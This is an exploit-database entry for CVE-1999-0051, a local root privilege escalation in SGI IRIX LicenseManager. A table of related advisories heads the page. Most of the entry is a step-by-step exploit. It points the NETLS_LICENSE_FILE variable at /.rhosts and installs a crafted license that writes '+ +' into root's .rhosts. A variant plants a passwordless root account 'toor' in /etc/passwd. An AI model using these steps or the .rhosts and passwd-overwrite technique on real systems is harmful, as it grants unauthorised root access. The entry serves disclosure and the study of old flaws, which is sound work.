SGI IRIX 5.3/6.2 / SGI license_oeo 1.0 LicenseManager - 'NETLS_LICENSE_FILE' Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-1999-0051 | 29 Sep 199904:00 | – | cve |
 | CVE-1999-0051 | 29 Sep 199904:00 | – | cvelist |
 | SGI IRIX 6.4 / SGI license_oeo 3.0/3.1/3.1.1 LicenseManager - 'LICENSEMGR_FILE_ROOT' Local Privilege Escalation | 22 Nov 199600:00 | – | exploitdb |
| Solaris 2.5.1 - License Manager | 21 Oct 199800:00 | – | exploitdb |
 | EUVD-1999-0051 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0051 | 6 Jan 199705:00 | – | nvd |
 | PT-1997-1030 · Globetrotter +1 · Flexlm Licensemanager +1 | 6 Jan 199700:00 | – | ptsecurity |
 | CVE-1999-0051 | 7 Jan 202609:39 | – | redhatcve |
source: https://www.securityfocus.com/bid/72/info
Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to
overwrite root-owned files allowing root access.
% setenv NETLS_LICENSE_FILE /.rhosts
% /usr/etc/LicenseManager &
Install...
NetLS Node-locked
Vendor Name: whatever
Vendor ID: + +
Product name: whatever
License version: 1.000
License version:
Expiration date: 01-jan-0
(in license version field put a space)
Apply
License(s) succesfully installed
% cat /.rhosts
#:# "whatever" "whatever" "1.000" "Incomplete"
+ +
If your system has remote root logins disabled, replacing /.rhosts with
/etc/passwd and + + with toor:0:0::/:/bin/sh.Data
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11 Jun 2012 00:00Current
5.8Medium risk
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CVSS 27.2
EPSS0.01296